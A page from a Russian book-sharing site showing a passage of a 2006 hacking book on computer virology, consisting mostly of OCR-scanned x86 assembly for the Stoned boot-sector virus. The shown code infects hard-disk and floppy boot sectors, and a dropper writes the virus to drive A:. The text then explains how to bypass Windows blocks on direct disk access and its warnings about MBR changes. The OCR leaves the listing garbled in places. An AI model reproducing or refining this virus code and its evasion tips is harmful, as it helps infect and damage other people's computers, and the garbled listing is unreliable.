Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 68 69 70 71 72 73 < 74 > 75 76 77 78 79 80 .. 123 >> Следующая

JMP DWORD PTR CS:[HIMEM_JMP] ;и переходим
HIMEM: ;сюда в верхней памяти
MOV АХ,0 {переустановка диска
INT 13Н XOR АХ,АХ
MOV ES.AX ;es=0
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
MOV АХ, 201Н ; готовимся к загрузке оригинального
{загрузочного сектора MOV ВХ.7С00Н
CMP BvTE PTR CS:[DRIVE_NO],0 ;c какого диска идет загрузка?
JE FLOPPY_BOOT ;OK, загрузка с дискеты, выполняем HARD_BOOT:
MOV СХ,7 {иначе, загружаемся с жесткого диска MOV DX.80H {читаем цил. 0,
гол. 0, сек. 7 INT 13Н ;где хранится оригинальный сектор
JMP GO_BOOT {прыгаем к нему
FLOPPY_BOOT:
MOV СХ,3 ;зафузка с дискеты
MOV DX.100H {читаем цил. 0, гол. 1, сек. 3
INT 13Н ;где находится оригинальный загрузочный сектор
JC GO BOOT ;если ошибка, вся работа впустую!
TEST BYTE PTR ES:(TIMER],7 ;один раз за 8 загрузок показываем JNZ
MESSAGE_DONE {сообщение, если нет других MOV SI.OFFSET ST0NED_MSG1
{сообщений системы PUSH CS
POP DS ;ds=cs
MSG_LOOP:
LODSB .получаем байт для al
OR AL.AL ;al=0?
JZ MESSAGE_DONE ;да, все сделано MOV AH.OEH {показываем байт, используя
BIOS MOV BH,0 INT ЮН
JMP SHORT MSG_LOOP ;идем получать другой
ГЛАВА 6. Инфицирование загрузочного сектора
MESSAGE_DONE:
PUSH CS
POP ES ;es=cs
MOV AX,201H {попытка читать загрузочный сектор {жесткого диска MOV
ВХ.200Н ;чтобы заразить его, если он еще не тронут MOV CL.1 MOV DX.80H
INT 13Н
JC GO_BOOT {попытка загрузки, если ошибка при чтении PUSH CS
POP DS {проверка первых 4 байтов загрузочного {сектора жесткого диска.
Смотрим, является MOV SI.200H ;ли диск зараженным
MOV Dl,0 LODSW
СМР AX,[DI] .проверка 2 байтов
JNE INFECT_HARD_DISK {разные, инфицируем жесткий диск
LODSW
СМР AX.IDI+2] {проверка следующих 2 байтов JNE INFECT_HARD_DISK {разные,
инфицируем жесткий диск GO_BOOT: MOV CS:[DRIVE_NO],0 ;ноль, эта д искета
инфицирована JMP DWORD PTR CS:[BOOT_SEC_START] {прыжок в 0000:7С00
INFECT_HARD_DISK:
MOV CS:[DRIVE_NO],2 ;флагуказывает на загрузочный сектор {жесткого диска
MOV АХ,301Н {пишем здесь оригинальный сектор
MOV ВХ.200Н ;(цил. 0, гол. 0, сек. 7)
MOV СХ,7 MOV DX.80H
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
INT 13Н
JC GO_BOOT {ошибка, выход
PUSH CS POP DS PUSH CS
POP ES ;ds=cs=es=BepxHflfl память MOV SI.OFFSETPARTTABLE + 200H
MOV Dl,OFFSET PARTJABLE {перемещаем таблицу разделов в MOV СХ.242Н
{вирусный загрузочный сектор
REP MOVSB ;242Н очищает оригинальный
{загрузочный сектор в ram MOV АХ,0301Н ;пишем его в раздел загрузочного
сектора XOR ВХ.ВХ ;в цил. 0, гол. 0, сек. 1 INC CL
INT 13Н
JMP SHORT GO_BOOT {прыжок к оригинальному {загрузочному сектору
Сообщения и пустое пространство:
STONED_MSG1 DB 7,1bur PC is now Stoned!',7,0DH,0AH,0AH,0
STONED_MSG2 DB 'LEGALISE MARIJUANA!1
END_VIRUS: {конец вируса
DB 0,0,0,0,0,0 ;пустое пространство, не использовать
PART_TABLE: {пространство для Таблицы разделов С:
DB 16 dup (0) -.запись раздела 1
DB 16 dup (0) {запись раздела 2
DB 16 dup (0) {запись раздела 3
DB 16 dup (0) {запись раздела 4
DB 0,0 ; ID загрузочного сектора (обычнб 55 АА)
ГЛАВА 6. Инфицирование загрузочного сектора
Это вирусный загрузчик. При выполнении из DOS эта подпрограмма получает
вызов и инфицирует А: вирусом Stoned.
LOADER:
push cs {устанавливаем ds=es=cs pop es push cs pop ds
mov ax,201H {читаем загрузочный сектор mov bx,OFFSET BUF ;в буфер
mov cx,1 mov dx,0 int 13H jne LOAD1
mov ax,201H {делаем это дважды, чтобы компенсировать int 13Н {возможную
замену дискеты
LOAD1:
mov ах,301Н {записываем оригинальный загрузочный {сектор на диск
mov сх,3
mov dx,100H
int 13Н
mov ax,301H {запись вируса в загрузочный сектор mov bx.O mov cx, 1 mov
dx,0 int 13H
mov ax,4C00H {затем выход в DOS
int 21H
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
BUF db 512dup(?) ;буфер для чтения/записи на диск .stack {оставляем место
для стека в ЕХЕ-файле
END LOADER
Решение проблем и развитие индивидуальных черт вируса
Очевидно, вы уже заметили, что при работе в Windows дроп-пер не работает.
Более того, после инфицирования HDD система показывает окно с сообщением
и предупреждает пользователя об изменении MBR. Даже если вы выполните
дроппер в MS-DOS, вирус не будет инфицировать диски под системой Windows.
Проблема заключается в том, что Windows не позволяет "прямой" доступ к
дискам с помощью int 13h. Самым легким способом обхода данного
затруднения является применение ложного вызова к int 13h. Вместо записи
int 13h вы можете написать:
pushf
call dword ptr cs:[Original!nt13h]
OriginalIntl3h нужно заполнить сегментомюфсетом оригинального прерывания
13h:
push ах si ds xor ax,ax mov ds.ax
Ids si,ds:[13h*4] {загружаем сегмент и офсет int13 в ds:si
mov word ptr cs:[Originallnt13h],si mov word ptr cs:[Originallnt13h+2],ds
pop ds si ax
Затем вы используете PUSHF/CALL и выполняете вызов int 13h даже в том
случае, если работаете в Windows.
ГЛАВА 6. Инфицирование загрузочного сектора
Рассмотрим вторую проблему. Почему Windows отображает окно сообщений?
Ведь ОС лжет, говоря пользователю об изменении MBR. Она даже не проверяла
Предыдущая << 1 .. 68 69 70 71 72 73 < 74 > 75 76 77 78 79 80 .. 123 >> Следующая